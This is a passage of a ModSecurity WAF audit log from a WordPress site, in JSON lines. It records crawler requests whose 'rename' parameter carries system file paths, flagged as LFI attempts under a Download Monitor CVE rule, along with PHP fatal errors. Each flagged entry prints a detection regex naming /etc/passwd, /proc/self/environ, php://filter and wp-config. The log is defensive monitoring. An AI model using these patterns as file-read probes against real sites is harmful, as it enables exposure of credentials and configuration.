{"transaction":{"time":"13/Mar/2026:00:23:40.613917 +0100","transaction_id":"abNK_Cz8c_poV-IkHVYXdAAAAZM","remote_address":"57.141.20.48","remote_port":39642,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/de/LC_MESSAGES/sudo.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"5db0c66aca065afc100b445a50c7eddd","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29823242"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5db0c66aca065afc100b445a50c7eddd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/de/LC_MESSAGES/sudo.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":268,"p2":4261,"p3":0,"p4":0,"p5":350,"sr":105,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:24:14.920995 +0100","transaction_id":"abNLHiz8c_poV-IkHVYX_AAAAYA","remote_address":"57.141.20.50","remote_port":42212,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/really-simple-ssl/really-simple-ssl.9.5.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"57fa8ed896ef74de1c9a37597667cfdd","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28315489"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"57fa8ed896ef74de1c9a37597667cfdd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/really-simple-ssl/really-simple-ssl.9.5.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":216,"p2":5272,"p3":0,"p4":0,"p5":346,"sr":125,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:24:58.724920 +0100","transaction_id":"abNLSkosXgskzHvsnQCwBwAAAU4","remote_address":"65.109.118.212","remote_port":43454,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"0d163a0245178a4ad22ee2ff4b65f30d","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27791679","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"0d163a0245178a4ad22ee2ff4b65f30d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":262,"p2":4285,"p3":0,"p4":0,"p5":253,"sr":121,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:25:56.230435 +0100","transaction_id":"abNLg0osXgskzHvsnQCwZgAAAUU","remote_address":"114.119.154.203","remote_port":33278,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/35237951 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.203","X-Forwarded-Proto":"http","X-Request-Id":"97f65233977bc26d7594f45b82e2f06c","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6282554","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"97f65233977bc26d7594f45b82e2f06c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":318,"p2":5991,"p3":0,"p4":0,"p5":326,"sr":164,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:27:04.047372 +0100","transaction_id":"abNLx4n1_YFiEGJpKphPygAAAIg","remote_address":"65.109.118.212","remote_port":44518,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"07d01b1935a2c32db3ace74567a0c16d","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25894049","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"07d01b1935a2c32db3ace74567a0c16d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":252,"p2":4747,"p3":0,"p4":0,"p5":367,"sr":130,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:29:13.967224 +0100","transaction_id":"abNMSYn1_YFiEGJpKphRDwAAAI4","remote_address":"57.141.20.45","remote_port":60936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/n/ntconsole-35 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"7172c66ef52c8686c243c80252048e07","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30511362"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7172c66ef52c8686c243c80252048e07","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/n/ntconsole-35||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":345,"p2":7427,"p3":0,"p4":0,"p5":404,"sr":161,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:29:18.491413 +0100","transaction_id":"abNMTSz8c_poV-IkHVYbPgAAAYE","remote_address":"65.109.118.212","remote_port":50390,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"c1541b9551f2fe58f1727d19f104007e","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29167687","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"c1541b9551f2fe58f1727d19f104007e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":291,"p2":5263,"p3":0,"p4":0,"p5":1364,"sr":161,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:29:33.404874 +0100","transaction_id":"abNMXYn1_YFiEGJpKphROAAAAJE","remote_address":"114.119.140.84","remote_port":56508,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/259177351 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"b9215f97a0a9b43d05a8ecd6e7d433a6","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30545951","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"b9215f97a0a9b43d05a8ecd6e7d433a6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":263,"p2":6291,"p3":0,"p4":0,"p5":352,"sr":156,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:30:40.036417 +0100","transaction_id":"abNMnyz8c_poV-IkHVYcJgAAAYE","remote_address":"57.141.20.45","remote_port":50390,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/PM820pl.upp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"0920b29bcbc2429a1700746d4918c968","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15059472"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0920b29bcbc2429a1700746d4918c968","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/PM820pl.upp||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":331,"p2":8889,"p3":0,"p4":0,"p5":360,"sr":2126,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:31:05.768923 +0100","transaction_id":"abNMuIy-eB0XhjfRE2kiwgAAARU","remote_address":"57.141.20.36","remote_port":45712,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/af/LC_MESSAGES/shared-mime-info.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"ee4670852c9b5ac1e756d0c3cb7c032a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28804889"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ee4670852c9b5ac1e756d0c3cb7c032a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/af/LC_MESSAGES/shared-mime-info.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":4528,"p2":10672,"p3":0,"p4":0,"p5":359,"sr":149,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:31:16.094984 +0100","transaction_id":"abNMw4n1_YFiEGJpKphSDgAAAIc","remote_address":"57.141.20.12","remote_port":42662,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/cs/LC_MESSAGES/gnutls30.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"31cab22ee1aad600a896cfa502c5ead2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29623996"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"31cab22ee1aad600a896cfa502c5ead2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/cs/LC_MESSAGES/gnutls30.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":267,"p2":5367,"p3":0,"p4":0,"p5":314,"sr":129,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:00:31:33.998588 +0100","transaction_id":"abNM1Yn1_YFiEGJpKphSRgAAAJI","remote_address":"65.109.118.212","remote_port":39080,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"95a679c1c720cc872cd5537c5f231e9f","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29624042","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"95a679c1c720cc872cd5537c5f231e9f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity 